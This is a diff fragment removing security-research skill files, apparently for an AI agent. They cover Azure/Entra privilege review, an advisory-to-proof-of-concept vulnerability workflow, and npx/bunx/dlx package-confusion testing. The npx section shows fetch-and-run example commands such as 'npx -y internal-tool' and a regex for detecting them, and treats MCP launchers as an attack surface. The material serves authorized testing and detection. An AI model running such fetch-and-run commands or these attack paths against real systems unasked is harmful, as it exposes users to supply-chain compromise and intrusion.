--url 'https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleInstances?$expand=principal,roleDefinition'
|
||||
|
||||
az rest --method GET \
|
||||
--url 'https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleInstances?$expand=principal,roleDefinition'
|
||||
```
|
||||
|
||||
Those endpoints cover Microsoft Entra role schedules. Follow `@odata.nextLink`, and record the exact Graph permissions or delegated role used because weak tokens silently under-enumerate. Azure resource-role PIM is exposed through ARM's `Microsoft.Authorization` role eligibility/assignment schedule resources; keep the two inventories separate:
|
||||
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleEligibilityScheduleInstances?api-version=2020-10-01&\$filter=atScope()"
|
||||
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleAssignmentScheduleInstances?api-version=2020-10-01&\$filter=atScope()"
|
||||
```
|
||||
|
||||
Follow `nextLink` there as well. For Entra directory-role inventory, reviewed readers commonly need `RoleEligibilitySchedule.Read.Directory` and `RoleAssignmentSchedule.Read.Directory` or an equivalent delegated role/application permission set.
|
||||
|
||||
## Conditional Access and Authentication
|
||||
|
||||
[Conditional Access](https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview) is Entra's identity-driven policy engine and is evaluated after first-factor authentication.
|
||||
|
||||
Review:
|
||||
|
||||
- policies in on/off/report-only state and coverage of users, groups, roles, applications, authentication contexts, and workload identities
|
||||
- exclusions for break-glass accounts, admins, service accounts, guest users, locations, devices, or applications
|
||||
- admin and management surfaces not covered by phishing-resistant MFA or appropriate authentication strength
|
||||
- legacy authentication and non-interactive flows that do not receive the intended policy
|
||||
- device compliance/join trust, named locations, sign-in/user risk, session lifetime, continuous access evaluation, and token protection where used
|
||||
- policy gaps caused by nested groups, guest/home tenant behavior, service principals, managed identities, or application-specific grant paths
|
||||
- whether emergency access exclusions are narrowly scoped, monitored, credential-protected, and exercised
|
||||
|
||||
For workload identities, Conditional Access applies only in limited cases: directly targeted tenant-owned single-tenant service principals can be controlled, but managed identities, Microsoft-owned service principals, most third-party SaaS service principals, and multitenant app registrations do not inherit human MFA semantics. Target the enterprise application service-principal object, not just the app registration, and verify the control at token issuance.
|
||||
|
||||
Use sign-in logs and the Conditional Access result to distinguish policy non-application from policy failure. Report-only evaluation is evidence of intended future control, not enforcement.
|
||||
|
||||
## Applications, Service Principals, and Workload Identity
|
||||
|
||||
An app registration is the tenant-level application definition; a service principal is the local security principal representing an application instance in a tenant.
|
||||
|
||||
Inventory:
|
||||
|
||||
- owners of application and service-principal objects, separately
|
||||
- delegated versus application permissions and admin consent
|
||||
- client secrets/certificates, expiry, unused/stale credentials, and credential-add rights
|
||||
- federated identity credentials: issuer, subject, audience, repository/branch/environment claims
|
||||
- multitenant applications, publisher verification, consent grants, and cross-tenant access settings
|
||||
- service-principal role assignments in both Entra and Azure
|
||||
- automation/CI connections and whether test identities can reach production
|
||||
|
||||
Keep application-object authority separate from service-principal authority. Application ownership and `Application.ReadWrite.*` can add owners, client secrets, certificates, or federated credentials on the app object; service-principal ownership and `ServicePrincipal.ReadWrite.*` govern the enterprise application instance. Admin consent is a separate control plane from credential management. Also trace group ownership/membership where a role-bearing group grants app, vault, Azure RBAC, or Entra role access. A secret's metadata proves age/expiry but not that its value is retrievable.
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Managed identities remove stored credentials but still carry authority:
|
||||
|
||||
- **system-assigned:** lifecycle is tied to one Azure resource
|
||||
- **user-assigned:** independent resource assignable to multiple workloads
|
||||
|
||||
Enumerate identity attachments and downstream role assignments. Check who can attach/detach the identity, execute or deploy code in the host workload, access its metadata/token endpoint, or reuse a user-assigned identity across environments. Treat workload control as potential identity control.
|
||||
|
||||
## Storage and SAS
|
||||
|
||||
A Shared Access Signature (SAS) delegates access to Azure Storage through a signed URI. Review:
|
||||
|
||||
- SAS type: user delegation, service, or account SAS
|
||||
- services/resource types, permissions, start/expiry, protocol, IP restriction, and stored access policy
|
||||
- long-lived tokens in source, CI logs, tickets, browser history, application settings, or public URLs
|
||||
- account-key use, `listKeys` authority, and key-rotation feasibility
|
||||
- public container/blob access, anonymous listing, network rules, private endpoints, and trusted-service exceptions
|
||||
- storage RBAC and whether principals can generate user-delegation keys or list account keys
|
||||
|
||||
Microsoft recommends a user delegation SAS where supported because it is secured with Entra credentials rather than the account key. User delegation keys and SAS values are time-limited and user-scoped; service/account SAS values derive from account keys, and only service SAS can bind to stored access policies. User delegation SAS is limited to Blob/Data Lake and has a maximum seven-day validity per delegation key. A SAS is a bearer credential; possession can be sufficient even when the holder has no visible Azure role assignment.
|
||||
|
||||
Validate each token against its signed permission/resource/time restrictions. Do not treat a redacted or expired SAS found in code as current unauthorized access.
|
||||
|
||||
## Key Vault, Secrets, and Certificates
|
||||
|
||||
- Determine whether the vault uses Azure RBAC or legacy access policies. The active model is controlled by `enableRbacAuthorization`; RBAC mode invalidates access-policy evaluation for data-plane access.
|
||||
- Enumerate who can read secrets, keys, and certificates; who can change access; and who controls workloads with vault-reading identities.
|
||||
- Review public network access, firewall/private endpoints, soft delete, purge protection, logging, secret expiry, and rotation.
|
||||
- Distinguish key operations (sign/decrypt/wrap) from key export and secret-value read.
|
||||
- Look for vault references copied into app settings without corresponding identity isolation.
|
||||
- Test backup/restore and cross-subscription permissions where in scope.
|
||||
|
||||
Legacy access-policy write authority on the vault resource can still become self-granting in access-policy mode. In RBAC mode, the equivalent finding depends on `DataActions` or role-assignment control, not on legacy access-policy mutation.
|
||||
|
||||
## Credential-Equivalent Actions
|
||||
|
||||
Treat the following as credential-equivalent or near-equivalent authority when the downstream scope matches:
|
||||
|
||||
| Surface | Action or state | Why it matters |
|
||||
|---|---|---|
|
||||
| Azure RBAC | `Microsoft.Authorization/roleAssignments/write` | grants new authority directly |
|
||||
| Root scope | `Microsoft.Authorization/elevateAccess/action` | bridges Entra Global Administrator into Azure root access |
|
||||
| Managed identity | host config write plus `.../userAssignedIdentities/assign/action` | attaches a stronger identity to attacker-controlled code |
|
||||
| App object | add secret/cert/federated credential or owner | permits application impersonation |
|
||||
| Service principal | add credential/owner or modify federation | permits enterprise-app impersonation |
|
||||
| Storage | `listKeys` or account-key disclosure | enables service/account SAS and broad account access |
|
||||
| Storage | `generateUserDelegationKey` with matching data rights | enables user delegation SAS issuance |
|
||||
| Key Vault | secret-value read, key sign/decrypt/wrap, or self-grant path | grants equivalent access even without export |
|
||||
|
||||
## Compute, Network, and Data Services
|
||||
|
||||
- VM extensions, Run Command, serial console, disks/snapshots, images, custom script, and boot diagnostics
|
||||
- App Service/Functions deployment slots, publishing credentials, SCM/Kudu, app settings, storage mounts, and managed identities
|
||||
- AKS control plane/RBAC, workload identity federation, kubeconfig retrieval, node/resource-group rights, and private API reachability
|
||||
- Container Apps/ACI environment variables, registries, identities, revisions, and exec surfaces
|
||||
- Automation accounts/runbooks, Logic Apps/connectors, Data Factory linked services, deployment scripts, and DevOps/service connections
|
||||
- NSGs, route tables, public IPs, load balancers, private endpoints, DNS, peering, Bastion, firewalls, and JIT VM access
|
||||
- SQL, Cosmos DB, Storage, Service Bus, Event Hubs, and other service-specific data-plane authorization
|
||||
|
||||
Map whether a principal that lacks direct data access can reconfigure networking, identity, code, diagnostics, export, backup, or deployment to gain an equivalent capability.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Establish context** — tenant, subscription, cloud, principal, token audience, and active PIM state.
|
||||
2. **Inventory both role planes** — Entra directory roles and Azure resource roles with groups, scope, inheritance, conditions, eligible/active state, and custom definitions.
|
||||
3. **Map identity objects** — applications, service principals, managed identities, owners, credentials, federation, and consent.
|
||||
4. **Review policy gates** — Conditional Access, authentication methods, PIM settings, Azure Policy, deny assignments, and network restrictions.
|
||||
5. **Enumerate workloads/data** — identify where control-plane modification yields code execution, identity use, secrets, backups, or data-plane access.
|
||||
6. **Build effective-access paths** — principal → permission → resource change/identity → downstream privilege or data.
|
||||
7. **Cross-check logs** — Entra sign-in/audit, PIM, Azure Activity, resource logs, and Defender/Sentinel alerts where available.
|
||||
8. **Re-evaluate boundaries** — guest/home tenant, management-group inheritance, test/production, group ownership, and workload identities.
|
||||
|
||||
## Validation
|
||||
|
||||
For each finding, include:
|
||||
|
||||
1. tenant/subscription and exact principal/object IDs
|
||||
2. assignment source, role definition, scope, inheritance, condition, and PIM state
|
||||
3. relevant Conditional Access/authentication result
|
||||
4. exact Azure/Graph action and target resource
|
||||
5. effective permission or cross-plane path demonstrated
|
||||
6. policy, deny, network, licensing, or configuration prerequisites
|
||||
7. audit/sign-in/activity evidence and remediation at the correct control plane
|
||||
|
||||
## Common False Positives
|
||||
|
||||
- Role name appears privileged but custom `Actions`/`DataActions`, conditions, scope, or deny assignments block the claimed action.
|
||||
- Contributor is reported as able to assign roles without `roleAssignments/write` or an alternate workload/identity path.
|
||||
- An eligible PIM assignment is described as standing active access.
|
||||
- A Conditional Access policy exists but is report-only, excluded, or does not apply to the tested principal/application.
|
||||
- An app registration is confused with its service principal in another tenant.
|
||||
- A managed identity is present but the tester cannot control its host or obtain a token in the relevant context.
|
||||
- An expired/revoked SAS or credential metadata is reported as usable access.
|
||||
- ARM access is assumed to grant service data-plane access automatically.
|
||||
|
||||
## Tooling
|
||||
|
||||
### Azure CLI and Microsoft Graph
|
||||
|
||||
Use the official Azure CLI for resource context and `az rest` for reviewed ARM/Graph queries not exposed cleanly by a command group. Record CLI/API versions and requested permissions. Broad directory inventory often requires Microsoft Graph application permissions and admin consent; absence of results under a weak token is not proof that objects do not exist.
|
||||
|
||||
### Prowler (Conditional)
|
||||
|
||||
[Prowler](https://github.com/prowler-cloud/prowler) provides maintained Azure configuration/compliance checks. Install a reviewed pinned release in an isolated environment:
|
||||
|
||||
```bash
|
||||
python -m pip install 'prowler==<reviewed-version>'
|
||||
prowler azure --az-cli-auth --subscription-ids <subscription-id>
|
||||
```
|
||||
|
||||
Other documented modes include service-principal, browser, and managed-identity authentication. Use a dedicated read-only audit principal with only the documented tenant/subscription permissions. Scope subscription IDs explicitly, protect reports as sensitive asset/identity inventories, account for API volume/throttling, and do not enable cloud upload for assessment data unless approved. Prowler findings are configuration leads; trace effective principal/action/resource paths before treating them as exploitable.
|
||||
|
||||
## Summary
|
||||
|
||||
Azure security is an identity-and-scope graph across Entra and ARM. Test directory roles, Azure RBAC, PIM, Conditional Access, service principals, managed identities, delegated storage access, workload control, and service data planes as one system while preserving the distinction between each control plane.
|
||||
@@ -1,235 +0,0 @@
|
||||
---
|
||||
name: advisory-to-poc
|
||||
description: Vulnerability research workflow for turning advisories, patches, release artifacts, public PoCs, and incident clues into root-cause analysis, safe reproducers, reliable detectors, patch-bypass review, and adjacent-bug hypotheses
|
||||
---
|
||||
|
||||
# Advisory to PoC
|
||||
|
||||
Use this skill for authorized product-security and n-day research where the starting point is an advisory, fixed release, patch, public PoC, or incident evidence rather than a known vulnerable endpoint.
|
||||
|
||||
The goal is a version-bounded root-cause explanation and reliable, reproducible validation. Do not equate a changed function, crash, scanner hit, or advisory claim with exploitability.
|
||||
|
||||
## Evidence Ledger
|
||||
|
||||
Keep facts, inferences, and experiments separate:
|
||||
|
||||
| Type | Examples |
|
||||
|---|---|
|
||||
| Published fact | affected versions, CWE, exposed feature, vendor mitigation |
|
||||
| Artifact fact | changed function, new validation, removed route, configuration delta |
|
||||
| Inference | likely attacker-controlled field, suspected auth path, probable sink |
|
||||
| Experiment | vulnerable response, fixed response, crash, OAST callback, file canary |
|
||||
|
||||
Record source URL, artifact hash, product edition/branch, build number, platform, configuration, and date. Re-check assumptions whenever the experimental result conflicts with the advisory narrative.
|
||||
|
||||
## Research Workflow
|
||||
|
||||
### 1. Scope the Claim
|
||||
|
||||
- Extract affected and fixed versions, branches, platforms, roles, protocols, and feature/configuration prerequisites.
|
||||
- Note whether the vendor describes impact, root cause, mitigation, or only a CWE category.
|
||||
- Treat bundled CVEs and large release rollups as multiple candidate changes until proven otherwise.
|
||||
- Identify whether the issue is pre-auth, low-privilege, post-auth, local, or requires a victim/session bridge.
|
||||
|
||||
### 2. Acquire Comparable Artifacts
|
||||
|
||||
Prefer the closest vulnerable/fixed pair for the same edition and platform:
|
||||
|
||||
- source commits, tags, tests, pull requests, and dependency lockfiles
|
||||
- packages, containers, installers, JAR/WAR/DLL/assemblies, Python bytecode, firmware, or VM images
|
||||
- web-server/reverse-proxy configuration, service definitions, scripts, and bundled third-party components
|
||||
- documentation and shipped examples that reveal routes, protocols, defaults, or extension points
|
||||
|
||||
Hash originals and work on copies. Preserve installation lineage: default credentials, generated keys, legacy files, and retained configs may matter even if a fresh fixed install does not contain them.
|
||||
|
||||
### 3. Reduce Diff Noise
|
||||
|
||||
Start with inventories before line-by-line analysis:
|
||||
|
||||
- added/removed/renamed files and dependencies
|
||||
- changed routes, authorization annotations, allowlists/denylists, parser calls, command construction, length checks, and deserialization types
|
||||
- edge configuration changes that block or rewrite a route without changing application code
|
||||
- tests added, removed, or updated; these often encode a near-ready reproducer
|
||||
- sibling call sites of the changed helper or validator
|
||||
|
||||
For binaries, combine string/import/symbol diffing with a decompiler and a second diffing method when possible. Large compiler or bundled-library changes create false clusters; anchor on advisory-relevant constants, protocol handlers, response strings, and call graphs.
|
||||
|
||||
### 4. Map External Reachability
|
||||
|
||||
Work from both directions:
|
||||
|
||||
```text
|
||||
external listener -> edge config -> router -> authentication -> parser -> sink
|
||||
known changed sink -> callers -> route/protocol -> authentication -> external listener
|
||||
```
|
||||
|
||||
Inventory auxiliary listeners, management agents, sidecars, localhost APIs, custom RPC services, CGI/script dispatch, and framework direct-component routes. Do not assume the main web UI's authentication protects every product service.
|
||||
|
||||
Record branch-specific and configuration-specific exposure. A powerful sink behind a disabled feature or unreachable route is not a pre-auth vulnerability.
|
||||
|
||||
### 5. Explain the Patch Mechanism
|
||||
|
||||
State what security invariant the patch tries to restore:
|
||||
|
||||
- bounds, termination, initialization, or length/type consistency
|
||||
- authentication/authorization before dispatch
|
||||
- canonicalization before comparison
|
||||
- allowlisted deserialization or reflection targets
|
||||
- safe command/process APIs instead of shell construction
|
||||
- file path confinement and extension/handler restrictions
|
||||
- route removal or edge blocking
|
||||
- session-field filtering or trustworthy state reconstruction
|
||||
|
||||
Then ask what the patch did not change: alternate callers, sibling parsers, secondary routes, nested gadgets, transitive deserialization, old aliases, different protocol handlers, and edge/application disagreement.
|
||||
|
||||
### 6. Build a Reproducer Ladder
|
||||
|
||||
Escalate one capability at a time:
|
||||
|
||||
1. **Presence** - product/version/protocol fingerprint with low noise
|
||||
2. **Reachability** - expected route/parser/handler responds
|
||||
3. **Security differential** - unauthorized behavior differs from a denied control
|
||||
4. **Primitive** - safe read, controlled callback, canary write, harmless constructor, or deterministic crash in an isolated lab
|
||||
5. **Impact** - demonstrate the requested authorized impact and preserve its prerequisites
|
||||
|
||||
Prefer distinctive non-secret response structure, benign errors, OAST DNS/HTTP callbacks, inert file markers, or no-op commands. For deserialization, use a non-executing network gadget before command execution. For memory corruption, establish the bug and mitigation constraints in a lab; a connection close or crash is not proof of RCE.
|
||||
|
||||
### 7. Calibrate on Controls
|
||||
|
||||
Run the same reproducer against:
|
||||
|
||||
- vulnerable version
|
||||
- fixed version
|
||||
- unaffected neighboring version where available
|
||||
- feature disabled / hardened configuration
|
||||
- malformed but non-triggering negative input
|
||||
- authentication present vs absent, if the claim crosses an auth boundary
|
||||
|
||||
Repeat enough times to distinguish deterministic behavior from crashes, timing noise, worker restarts, load balancers, and transient network failures.
|
||||
|
||||
### 8. Hunt Adjacent and Partial Fixes
|
||||
|
||||
After reproducing the primary issue:
|
||||
|
||||
- enumerate every call site of the patched function/validator
|
||||
- cluster nearby handlers using the same parser, session format, command wrapper, or file primitive
|
||||
- replay the old PoC and structural variants against the first fixed version
|
||||
- inspect whether the patch blocks the route while leaving the sink reachable elsewhere
|
||||
- test nested/transitive objects rather than only top-level denylisted types
|
||||
- check whether one advisory/CVE bundles multiple distinct vulnerable paths
|
||||
|
||||
Do not call a variant a bypass until the fixed version demonstrably remains vulnerable.
|
||||
|
||||
## Tool Routing
|
||||
|
||||
Use the lightest maintained tool that answers the current question. Pin versions in research notes and preserve generated outputs so another analyst can reproduce the diff.
|
||||
|
||||
### Artifact and Package Diff: diffoscope
|
||||
|
||||
[diffoscope](https://diffoscope.org/) is the default first pass for packages, directories, archives, and binaries. Use it to build a changed-file/config/package manifest before opening a decompiler. For hostile artifacts, keep inputs read-only, disable network, and run the helper-heavy comparison in an isolated environment.
|
||||
|
||||
### Firmware and Appliance Artifacts
|
||||
|
||||
When the starting point is firmware, a virtual appliance, or a nested image format, load `appliance_firmware`. That skill owns extraction, package/rootfs/runtime correlation, Ghidra/BinDiff routing, overlay/install-state analysis, and device-lifecycle caveats.
|
||||
|
||||
### Java/JVM: Vineflower
|
||||
|
||||
Use maintained [Vineflower](https://github.com/Vineflower/vineflower) for JAR/class decompilation. Diff archive inventories before decompiled text; compiler, obfuscator, and synthetic-code changes produce noise. Confirm suspicious control flow with bytecode (`javap -c`) rather than treating reconstructed Java as source truth.
|
||||
|
||||
### .NET: ILSpy / ilspycmd
|
||||
|
||||
Use [ILSpy](https://github.com/icsharpcode/ILSpy) for managed assemblies. Work offline, inspect IL/metadata when the C# reconstruction is ambiguous, and use only GitHub Releases or NuGet.
|
||||
|
||||
### Native Code: Ghidra and BinDiff
|
||||
|
||||
Use official [Ghidra](https://github.com/NationalSecurityAgency/ghidra) for cross-architecture disassembly/decompilation and [BinDiff](https://github.com/google/bindiff) only after the file/package diff has narrowed the relevant binaries. Keep the toolchain pinned, offline where practical, and non-executing. Decompiler output and similarity scores are triage aids, not proof.
|
||||
|
||||
## Source and Binary Techniques
|
||||
|
||||
### Source-Available Products
|
||||
|
||||
- Search route declarations, filters/interceptors, auth decorators, and direct framework component dispatch.
|
||||
- Trace attacker-controlled fields through type coercion, validation, shell/process APIs, filesystem operations, reflection, template/XSLT evaluation, and deserialization.
|
||||
- Compare callers, not just the patched callee. The same helper may be safe in one route and exposed in another.
|
||||
- Read tests and examples for expected protocol syntax and serialized message shapes.
|
||||
|
||||
### Managed Artifacts
|
||||
|
||||
- Decompile JAR/WAR and .NET assemblies; diff namespaces/classes/method bodies and embedded configuration.
|
||||
- Trace public setters, opaque identifiers, type metadata, and framework serialization hooks.
|
||||
- Inspect bundled libraries and version changes, but prove application reachability before assigning impact.
|
||||
|
||||
### Native Binaries and Firmware
|
||||
|
||||
- Inventory architecture, mitigations, imports, strings, services, and exposed ports before deep reversing.
|
||||
- Diff functions around new bounds checks, initialization, string termination, length casts, command builders, and protocol parsers.
|
||||
- Reconstruct the smallest valid protocol state machine before mutating the suspected field.
|
||||
- Use debuggers, sanitizers, traces, and process monitors inside an isolated lab when available.
|
||||
- Separate bug existence from exploitability under ASLR, NX, stack canaries, allocator behavior, architecture, and restart model.
|
||||
|
||||
### Public PoC or Incident First
|
||||
|
||||
- First decompose and neutralize a public or captured PoC; reproduce its stages in an isolated lab while preserving the headers, ordering, sessions, and negotiation relevant to each stage.
|
||||
- Decompose the PoC into stages and identify the oracle for each stage.
|
||||
- Work backward from the final sink to root cause and forward from the entry point to confirm reachability.
|
||||
- If no patch pair exists, controlled honeypot/instrumentation can reveal in-the-wild request structure; never expose a live vulnerable system beyond an isolated, monitored environment.
|
||||
|
||||
Pair `protocol_reverse_engineering` when the external entry point is binary, TLS-wrapped, message-oriented, or stateful.
|
||||
|
||||
## Detector Design
|
||||
|
||||
A detector must distinguish the vulnerable behavior reliably from fixed and unaffected behavior:
|
||||
|
||||
- match a structural response or deterministic state change, not a secret value
|
||||
- use a unique per-target canary and clean it up when the test writes data
|
||||
- distinguish patched denial from generic 404/500, WAF blocking, authentication failure, and connection loss
|
||||
- complete protocol/session prerequisites instead of relying on a single raw request
|
||||
- rate-limit crash-prone or resource-intensive probes and keep them opt-in
|
||||
- calibrate templates against vulnerable, fixed, and negative-control targets
|
||||
|
||||
When scaling, separate fingerprinting from exploitation. Presence can prioritize assets; it does not confirm the vulnerability.
|
||||
|
||||
## Exploitability Triage
|
||||
|
||||
Rate each condition explicitly:
|
||||
|
||||
- attacker position and credentials
|
||||
- default vs optional feature/configuration
|
||||
- internet-facing vs auxiliary/local listener
|
||||
- data/byte/control precision
|
||||
- restart, race, victim action, or environment requirements
|
||||
- available mitigations and architecture
|
||||
- reliable primitive vs crash-only or unstable behavior
|
||||
- practical post-primitive chain in the product's default deployment
|
||||
|
||||
Down-rate unrealistic chains even when the underlying bug is real. Conversely, revisit “low” primitives such as SSRF, reflection, arbitrary write, cache control, or information disclosure in product context; native admin features may convert them into RCE.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. exact affected/fixed artifacts and hashes
|
||||
2. authoritative published claims and unresolved ambiguity
|
||||
3. minimal relevant diff and restored invariant
|
||||
4. external route/protocol and auth/config prerequisites
|
||||
5. source-to-sink or packet-to-sink trace
|
||||
6. safe reproducer plus positive and negative controls
|
||||
7. vulnerable vs fixed results across repeat runs
|
||||
8. exploitability constraints and why the demonstrated impact follows
|
||||
9. adjacent paths reviewed and any partial-fix evidence
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
- Trusting the advisory CWE/title as the actual root cause
|
||||
- Diffing only application code while ignoring edge/proxy/service configuration
|
||||
- Treating any crash, close, 500, scanner alert, or changed function as exploitation
|
||||
- Running a weaponized public PoC before isolating its stages and side effects
|
||||
- Claiming pre-auth impact without tracing the complete auth and routing path
|
||||
- Assuming one CVE maps to one code path or one patch fixes the whole vulnerability class
|
||||
- Searching only for the published payload instead of the restored invariant
|
||||
- Reporting a registry/download/callback signal without separating automated noise from authentic target execution
|
||||
- Generalizing from one appliance/version/configuration without testing prerequisites
|
||||
|
||||
## Summary
|
||||
|
||||
Advisory-driven research is evidence-driven reverse engineering. Acquire comparable artifacts, reduce the diff to a security invariant, prove external reachability, climb a safe reproducer ladder, calibrate against fixed and negative controls, and then audit sibling paths and partial fixes. The reusable output is the method and invariant—not the vendor-specific exploit string.
|
||||
@@ -1,233 +0,0 @@
|
||||
---
|
||||
name: npx-confusion
|
||||
description: Test package and executable identity confusion in npx, npm exec, and bunx fallback, plus explicit auto-fetch runners such as pnpm/yarn dlx and deno run npm:, with runner-specific resolution analysis, registry-state controls, reporting gates, and false-positive elimination
|
||||
---
|
||||
|
||||
# npx Confusion
|
||||
|
||||
Use this skill when a package runner may execute code from a package other than the publisher or package the workflow intended. For `npx`, `npm exec`, and `bunx`, the recurring case is a missing local executable being reinterpreted as a remotely fetched package spec. Explicit auto-fetch runners such as `pnpm dlx`, `yarn dlx`, and `deno run npm:` have different semantics; analyze them as an adjacent package-identity problem rather than pretending they share npm's fallback order.
|
||||
|
||||
Load `dependency_cve_scanning` for known vulnerable versions, `infrastructure_lifecycle` for abandoned domains or registry resources, `agentic_system_security` for the authority of an MCP/agent process, and `semantic_confusion` for the general lookup-order model.
|
||||
|
||||
## Core Condition
|
||||
|
||||
Choose the branch that matches the runner.
|
||||
|
||||
For local-first fallback (`npx`, `npm exec`, or `bunx`), require all of the following:
|
||||
|
||||
1. A target-controlled workflow invokes a bare executable or ambiguous package token.
|
||||
2. The intended package and its executable name differ, or other evidence establishes the expected publisher/package.
|
||||
3. The executable is not resolved in the workflow's real local, workspace, global, or cache context as applicable to that runner.
|
||||
4. The runner consequently selects an unintended remote package spec from its configured registry.
|
||||
5. The affected workflow reaches that package's executable with security-relevant authority.
|
||||
|
||||
For explicit auto-fetch runners (`pnpm dlx`/`pnx`/`pnpx`, `yarn dlx`, or `deno run npm:`), do not require or claim a missing-local-binary fallback. Require evidence that the command names or infers a package different from the one the workflow intended, such as a scoped-package/bin mismatch, typo, generated configuration error, or wrong publisher. Then prove the exact fetched package, chosen binary/module, execution path, and inherited authority.
|
||||
|
||||
A public package merely being outside the target's ownership is not a vulnerability. Third-party packages are normal; the mismatch between intended executable provenance and actual registry resolution is the finding.
|
||||
|
||||
## Resolution Model
|
||||
|
||||
Record the npm version because `npx` has used `npm exec` since npm 7 and resolver behavior changes between releases. For npm, model these decisions:
|
||||
|
||||
```text
|
||||
bare command
|
||||
-> executable in ancestor node_modules/.bin?
|
||||
-> executable in global bin?
|
||||
-> matching local/global package and usable bin?
|
||||
-> matching environment in the npx cache?
|
||||
-> treat the command token as a package spec
|
||||
-> fetch its manifest from the configured registry
|
||||
-> infer one executable from package.json#bin
|
||||
-> install into the npx cache and execute
|
||||
```
|
||||
|
||||
Also record:
|
||||
|
||||
- working directory and workspace root
|
||||
- local dependency tree and generated `node_modules/.bin` links
|
||||
- global prefix/bin directory and npx cache
|
||||
- `registry`, scope-specific registry rules, proxy and authentication configuration
|
||||
- command form, flags, package spec/version, TTY/CI state, and `yes` policy
|
||||
- npm's executable-inference result when the package exposes zero, one, or several `bin` entries
|
||||
|
||||
Do not collapse package-name lookup and bin selection into one step. npm can fetch a manifest yet fail because it cannot infer exactly one executable.
|
||||
|
||||
### Runner distinctions
|
||||
|
||||
Record the exact runner and version. Do not reuse npm's local/global/cache ordering for another implementation.
|
||||
|
||||
| Runner | Resolution behavior to model | Package binding / fetch control |
|
||||
|---|---|---|
|
||||
| `npx` / `npm exec` | Local/workspace/global/cache resolution followed by package-spec fallback; executable inference depends on `package.json#bin` | `--package <pkg>` binds the provider; `--no` rejects an install prompt |
|
||||
| `bunx` | Checks a locally installed package, then can install from npm into Bun's cache | `--package <pkg>` binds the provider; `--no-install` forbids installation |
|
||||
| `yarn dlx` | Downloads the command-named package into a temporary environment by default; this is not a local-bin fallback | `--package <pkg>` selects a different provider package |
|
||||
| `pnpm dlx` / `pnx` / `pnpx` | Fetches and hotloads a registry package, then runs its default binary; project trust policies are version-dependent | `--package=<pkg>` selects the provider; prefer declared dependencies plus `pnpm exec` when remote fetch is unintended |
|
||||
| `deno run npm:<pkg>` | Uses an explicit npm package spec and cache; a subpath can select a binary | Pin the package/subpath and model lock, cache, lifecycle-script, and Deno permission settings |
|
||||
|
||||
Treat mutable tags and ranges such as `latest`, `next`, `@2`, caret, and tilde ranges as selectors, not pins. A privileged repeatable workflow needs an exact reviewed version plus lockfile/integrity enforcement where the runner supports it.
|
||||
|
||||
## High-Signal Patterns
|
||||
|
||||
### Bare executable fallback
|
||||
|
||||
```text
|
||||
npx internal-tool
|
||||
npx -y internal-tool
|
||||
npm exec -- internal-tool
|
||||
```
|
||||
|
||||
The signal is strongest in CI, release scripts, bootstrap commands, developer setup, and tool/agent configuration where the same command is run repeatedly.
|
||||
|
||||
### Scoped package versus unscoped bin
|
||||
|
||||
A scoped package can expose an unscoped executable:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "@org/tooling",
|
||||
"bin": { "org-tool": "./bin/run.js" }
|
||||
}
|
||||
```
|
||||
|
||||
Inside a correctly installed workspace, `npx org-tool` may resolve `node_modules/.bin/org-tool`. Outside that tree, the same command can fall back to the public package named `org-tool`. Treat documentation, MCP configuration, and bootstrap scripts as separate execution contexts rather than assuming the repository-local result applies everywhere.
|
||||
|
||||
### Agent and MCP launchers
|
||||
|
||||
Inspect `.mcp.json`, editor/desktop agent configuration, devcontainers, and generated tool launchers for `command: npx` plus `-y` and a bare package or binary name. Combine this resolver analysis with `agentic_system_security` to determine the credentials, tools, files, and network access inherited by that process.
|
||||
|
||||
## Candidate Collection
|
||||
|
||||
Search executable surfaces and retain file, line, command, and execution context:
|
||||
|
||||
```bash
|
||||
rg -n --no-heading -g '!node_modules' -g '!**/dist/**' \
|
||||
-e '\b(npx|npm\s+exec|bunx|pnx|pnpx|pnpm\s+dlx|yarn\s+dlx)\s+[^[:space:]]+' \
|
||||
-e '\bdeno\s+run\b[^\n]*\bnpm:' \
|
||||
-e '"command"\s*:\s*"(npx|bunx|pnx|pnpx|pnpm|yarn|deno)"' \
|
||||
-e '"args"\s*:\s*\[[^]]*"(dlx|npm:[^"]+|-y)"' \
|
||||
.
|
||||
```
|
||||
|
||||
Search the source/configuration tree rather than a fixed file list: these commands also live in
|
||||
`scripts/`, husky/lint-staged hooks, `turbo.json`/`nx.json` task definitions,
|
||||
`.circleci/`, composite-action `action.yml`, devcontainer `postCreateCommand`,
|
||||
nested workspace `package.json` files, and editor/agent config under
|
||||
`.cursor/`, `.vscode/`, and `.mcp.json`. If generated output is itself shipped or executed, search its specific directory separately instead of globally including every `dist/` artifact.
|
||||
|
||||
Also inspect:
|
||||
|
||||
- package scripts and lifecycle hooks
|
||||
- workspace package `name` and `bin` maps
|
||||
- READMEs and generated setup instructions
|
||||
- CI composite actions and reusable workflows
|
||||
- source maps or bundled package metadata that reveal internal commands
|
||||
|
||||
Discard paths, shell variables, flags, Node built-ins, and text that is not executed or presented as an executable command.
|
||||
|
||||
## Establish the Actual Resolution
|
||||
|
||||
Prefer inspecting the existing dependency tree, lockfile, workspace packages, and `.bin` links. Do not run `npm ci` merely to decide whether a command is local: it changes the tree and can execute lifecycle scripts.
|
||||
|
||||
For a version-controlled reproduction environment, record npm's registry lookup without allowing a missing package to be installed:
|
||||
|
||||
```bash
|
||||
npx --no --loglevel=http <candidate>
|
||||
```
|
||||
|
||||
Interpret this carefully:
|
||||
|
||||
- a local executable may run immediately; `--no` only refuses missing-package installation
|
||||
- an HTTP registry request shows fallback, not ownership or successful execution
|
||||
- a cancellation naming the missing package shows npm's chosen package spec
|
||||
- cache, global installs, parent directories, workspaces, and registry configuration can change the result
|
||||
|
||||
Repeat the resolution analysis in every context that matters: repository root, documented launch directory, CI checkout, generated agent configuration, and bootstrap-before-install flow. Do not substitute a clean empty directory for the target context except to understand npm's generic name mapping.
|
||||
|
||||
